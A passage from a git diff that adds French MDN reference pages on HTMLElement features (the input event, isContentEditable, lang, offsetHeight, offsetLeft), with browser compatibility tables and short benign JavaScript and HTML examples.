+    <td>{{CompatGeckoMobile("5.0")}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.click()", "click()")}}</td>
+    <td>{{CompatGeckoMobile("5.0")}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.dataset", "dataset")}}</td>
+    <td>{{CompatGeckoMobile("6.0")}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.focus()", "focus()")}}</td>
+    <td>{{CompatGeckoMobile("5.0")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Voir_également">Voir également</h2>
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/input_event/index.html b/files/fr/web/api/htmlelement/input_event/index.html
new file mode 100644
index 0000000000..3e20f0e2bb
--- /dev/null
+++ b/files/fr/web/api/htmlelement/input_event/index.html
@@ -0,0 +1,261 @@
+---
+title: input
+slug: Web/API/HTMLElement/input_event
+tags:
+  - DOM
+  - Element
+  - Entrée
+  - HTML5
+translation_of: Web/API/HTMLElement/input_event
+---
+<p>L'évènement DOM <code>input</code> <em>(entrée)</em> est déclenché de façon synchrone quand la valeur d'un élément {{HTMLElement("input")}} <em>(entrée)</em>, {{HTMLElement("select")}} <em>(sélection)</em> ou {{ HTMLElement("textarea") }} <em>(zone de texte)</em> est modifiée. (Pour les éléments <code>input</code> avec <code>type=checkbox</code> <em>(case à cocher)</em> ou <code>type=radio</code> , l'évènement <code>input</code>  n'est pas lancé quand l'utilisateur clique sur le contrôle, parce que la valeur attribuée ne peut être changée).</p>
+
+<p>De plus, l'évènement  <code>input</code> se déclenche sur les éditeurs <a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLElement/contentEditable" title="Element.contentEditable"><code>contenteditable</code></a> quand son contenu est modifié. Dans ce cas, l'évènement cible est l'élément "editing host" <em>(hôte de l'édition)</em> . <span class="short_text" id="result_box" lang="fr"><span>S'il y a deux éléments ou plus qui ont</span></span> <code>contenteditable</code> à true <em>(vrai)</em>, "editing host" <span id="result_box" lang="fr"><span>est l'élément ancêtre le plus proche dont le parent n'est pas modifiable</span></span> . <span id="result_box" lang="fr"><span>De même, il est déclenché sur l'élément racine des éditeurs</span></span> <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/designMode" title="document.designMode"><code>designMode</code></a> .</p>
+
+<h2 id="Information_générale">Information générale</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-input">HTML5</a>, <a href="https://dvcs.w3.org/hg/dom3events/raw-file/tip/html/DOM3-Events.html#event-type-input">DOM Level 3 Events</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}, {{domxref("InputEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Élement</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">La valeur ou le contenu est modifié</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>9<sup>[2][3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>immediately after <code>compositionupdate</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("12")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>contenteditable</code> element</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup>
+    <p> </p>
+   </td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>when <code>designMode</code> is "on"</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>&lt;select&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>immediately after <code>compositionupdate</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("12")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>contenteditable</code> element</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>when <code>designMode</code> is "on"</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>&lt;select&gt;</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span id="result_box" lang="fr"><span>Avant Gecko 12.0 {GeckoRelease ("12.0")}}, Gecko ne déclenchait pas les événements </span></span> "input" <span lang="fr"><span> pendant que la composition était en cours en utilisant des IME ou lorsque des clés mortes étaient utilisées sur Mac OS X.</span></span></p>
+
+<p>[2] IE 9 ne déclenche pas un événement "input" lorsque l'utilisateur supprime des caractères d'une entrée (par exemple en appuyant sur Retour arrière ou Suppr., ou en utilisant l'opération "Cut" <em>(couper)</em>).</p>
+
+<p>[3] IE 10 et 11 ont un bogue, l'évènement "input"  s'y déclenche lors des changements de l'attribut "placeholder" (espace réservé).</p>
+
+<p>[4] <span id="result_box" lang="fr"><span>Avant Opera 15, Opera ne déclenchait pas un événement </span></span> "input" <span lang="fr"><span> après la suppression du texte dans un champ de saisie</span></span> .</p>
+
+<p>[5] <span id="result_box" lang="fr"><span>La cible de l'événement est l'élément "</span></span> innermost" <span lang="fr"><span> à la position du curseur.</span></span></p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
+
+<p>L'évènement <a href="/en-US/docs/Web/Reference/Events/change">change</a> est lié . "change"<span id="result_box" lang="fr"><span> se déclenche moins souvent que "input" - il n'est lancé que lorsque les modifications sont validées par l'utilisateur.</span></span></p>
diff --git a/files/fr/web/api/htmlelement/iscontenteditable/index.html b/files/fr/web/api/htmlelement/iscontenteditable/index.html
new file mode 100644
index 0000000000..ba62e2d99d
--- /dev/null
+++ b/files/fr/web/api/htmlelement/iscontenteditable/index.html
@@ -0,0 +1,127 @@
+---
+title: HTMLElement.isContentEditable
+slug: Web/API/HTMLElement/isContentEditable
+tags:
+  - HTML DOM
+  - Propriété
+  - Reference
+  - lecture seule
+  - Édition
+  - Élément HTML
+translation_of: Web/API/HTMLElement/isContentEditable
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>La propriété en lecture seule <strong><code>HTMLElement.isContentEditable</code></strong> renvoie un  {{jsxref("Boolean")}} qui est <code>true </code><em>(vrai)</em> si le contenu de l'élément est éditable ; sinon elle renvoie <code>false</code><em>(faux)</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>editable</em> = <em>element</em>.isContentEditable
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"infoText1"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myText1"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>isContentEditable<span class="punctuation token">;</span>
+document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"infoText2"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myText2"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>isContentEditable<span class="punctuation token">;</span></code></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myText1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Uneditable Paragraph<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myText2<span class="punctuation token">"</span></span> <span class="attr-name token">contentEditable</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>true<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Editable Paragraph<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>infoText1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Can edit the first paragraph? <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>infoText2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Can edit the second paragraph? <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement de la dernière image, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>L'image de {{SpecName('HTML WHATWG')}}, n'est pas changée par {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Image de  {{SpecName('HTML WHATWG')}},  definition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("element.contentEditable")}}</li>
+ <li>L'attribut global <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a>.</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/lang/index.html b/files/fr/web/api/htmlelement/lang/index.html
new file mode 100644
index 0000000000..990a1cd780
--- /dev/null
+++ b/files/fr/web/api/htmlelement/lang/index.html
@@ -0,0 +1,46 @@
+---
+title: element.lang
+slug: Web/API/HTMLElement/lang
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/lang
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+<p>Cette propriété permet d'obtenir ou de définir la langue de base des valeurs d'attribut et du contenu textuel d'un élément.</p>
+<h2 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe et valeurs</h2>
+<pre class="brush: js">var <var>langueUtilisee</var> = référenceElement.lang; // Récupérer la valeur de lang
+référenceElement.lang = <var>NouvelleLangue</var>; // Définir la valeur de lang
+</pre>
+<p><var>langueUtilisee</var> est une variable chaîne de caracteres recevant la langue dans laquelle le texte de l'élément courant est écrit. <var>NouvelleLangue</var> est une variable chaîne de caractères dont la valeur définit la langue dans laquelle le texte de l'élément courant est écrit.</p>
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+<pre class="brush: js">// ce bout de code compare la langue de base et
+// redirige vers une autre URL suivant la langue
+if (document.documentElement.lang === "en") {
+    window.location.href = "un_document.html.en";
+} else if(document.documentElement.lang === "ru") {
+    window.location.href = "un_document.html.ru";
+}
+</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p>Les codes de langues renvoyés par cette propriété sont définis dans la <a class="external" href="http://tools.ietf.org/html/rfc1766" title="http://tools.ietf.org/html/rfc1766">RFC 1766</a>. Par exemple, « en » pour anglais, « ja » pour japonais, « es » pour espagnol, « fr » pour français, etc. La valeur par défaut de cet attribut est <code>unknown</code> (inconnue). Notez que cet attribut, bien que valide au niveau de chaque élément individuel, et le plus souvent spécifié pour le nœud racine du document.</p>
+<p>Ne marche qu'avec l'attribut <code>lang</code>, et non avec <code>xml:lang</code>.</p>
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/api/htmlelement/offsetheight/index.html b/files/fr/web/api/htmlelement/offsetheight/index.html
new file mode 100644
index 0000000000..bfd4b1d130
--- /dev/null
+++ b/files/fr/web/api/htmlelement/offsetheight/index.html
@@ -0,0 +1,66 @@
+---
+title: element.offsetHeight
+slug: Web/API/HTMLElement/offsetHeight
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Propriété <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> permettant d'obtenir la hauteur d'un élément par rapport à la mise en page.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">var <em>hauteurTotaleElem</em> = document.getElementById(<em>id</em>).offsetHeight;
+</pre>
+
+<p><em>hauteurTotalElem</em> est une variable stockant un entier correspondant à la valeur en pixels de la hauteur totale de l'élément identifé par <code>id</code>. <code>offsetHeight</code> est une propriété en lecture seule.</p>
+
+<h3 id="Description" name="Description">Description</h3>
+
+<p>Typiquement, la propriété <strong>offsetHeight</strong> d'un élément est une mesure qui comprend les bordures de l'élément, ses marges internes verticales (padding), la barre de défilement horizontale si présente et affichée, et la hauteur CSS de l'élément.</p>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg" class="internal" src="/@api/deki/files/1176/=BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:offsetHeight.png" class="internal" src="/@api/deki/files/1419/=OffsetHeight.png"></p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p><code>offsetHeight</code> fait partie du modèle objet DHTML de Microsoft Internet Explorer. Elle ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><code>offsetHeight</code> est une propriété du modèle objet DHTML introduite par Microsoft Internet Explorer. On l'appelle parfois la hauteur physique ou graphique d'un élément, ou sa hauteur « border-box » (bordure et boîte).</p>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetheight.asp?frame=true"><em>offsetHeight definition</em> sur MSDN</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp"><em>Measuring Element Dimension and Location</em> sur MSDN</a></li>
+</ul>
+
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+
+<ul>
+ <li><a href="/fr/DOM/element.clientHeight" title="fr/DOM/element.clientHeight"><code>element.clientHeight</code></a></li>
+ <li><a href="/fr/DOM/element.scrollHeight" title="fr/DOM/element.scrollHeight"><code>element.scrollHeight</code></a></li>
+ <li><a href="/fr/DOM/element.offsetWidth" title="fr/DOM/element.offsetWidth"><code>element.offsetWidth</code></a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/element.offsetHeight", "pl": "pl/DOM/element.offsetHeight" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/offsetleft/index.html b/files/fr/web/api/htmlelement/offsetleft/index.html
new file mode 100644
index 0000000000..b9c055927b
--- /dev/null
+++ b/files/fr/web/api/htmlelement/offsetleft/index.html
@@ -0,0 +1,56 @@
+---
+title: element.offsetLeft
+slug: Web/API/HTMLElement/offsetLeft
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/offsetLeft
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie le nombre de pixels dont le
+ <i>
+  coin supérieur gauche</i>
+ de l'élément courant est décalé vers là gauche au sein du nœud <code><a href="fr/DOM/element.offsetParent">offsetParent</a></code>.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>left</i> =<i>element</i>.offsetLeft;
+</pre>
+<p><code>left</code> est un entier représentant le décalage vers la gauche en pixels.</p>
+<h3 id="Note" name="Note">Note</h3>
+<p><code>offsetLeft</code> renvoie la position du coin supérieur gauche de l'élément ; pas nécessairement du « vrai » bord gauche de l'élément. C'est important pour les éléments <b>span</b> dans les textes continus qui s'étendent sur plusieurs lignes. Le span peut commencer au milieu de la page et continuer au début de la ligne suivante. La propriété <code>offsetLeft</code> fera référence au coin gauche de départ du span, pas le bord gauche du texte au début de la seconde ligne. Par conséquent, une boîte avec les valeurs left, top, width et height correspondant à <code>offsetLeft, offsetTop, offsetWidth</code> et <code>offsetHeight</code> ne contiendra pas forcément un span avec débordement de texte.</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft &gt; 5) {
+  // grand décalage à gauche : faire quelque chose ici
+}
+</pre>
+<h3 id="Exemple_2" name="Exemple_2">Exemple</h3>
+<p>Comme noté plus haut, cet exemple montre une « longue » phrase qui déborde dans un div avec une bordure bleue, et une boîte rouge dont on pourrait croire qu'elle décrit les limites du span.</p>
+<p><img alt="Image:offsetLeft.jpg"></p>
+<p><small><font color="gray">Note : il s'agit d'une image de l'exemple, pas d'un rendu direct dans le navigateur. En effet, il n'est pas possible d'intégrer des scripts dans la page du wiki.</font></small></p>
+<pre>&lt;div style="width: 300px; border-color:blue;
+  border-style:solid; border-width:1;"&gt;
+  &lt;span&gt;Short span. &lt;/span&gt;
+  &lt;span id="long"&gt;Long span that wraps withing this div.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="box" style="position: absolute; border-color: red;
+  border-width: 1; border-style: solid; z-index: 10"&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+  var box = document.getElementById("box");
+  var long = document.getElementById("long");
+  box.style.left = long.offsetLeft + document.body.scrollLeft;
+  box.style.top = long.offsetTop + document.body.scrollTop;
+  box.style.width = long.offsetWidth;
+  box.style.height = long.offsetHeight;
+&lt;/script&gt;
+</pre>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
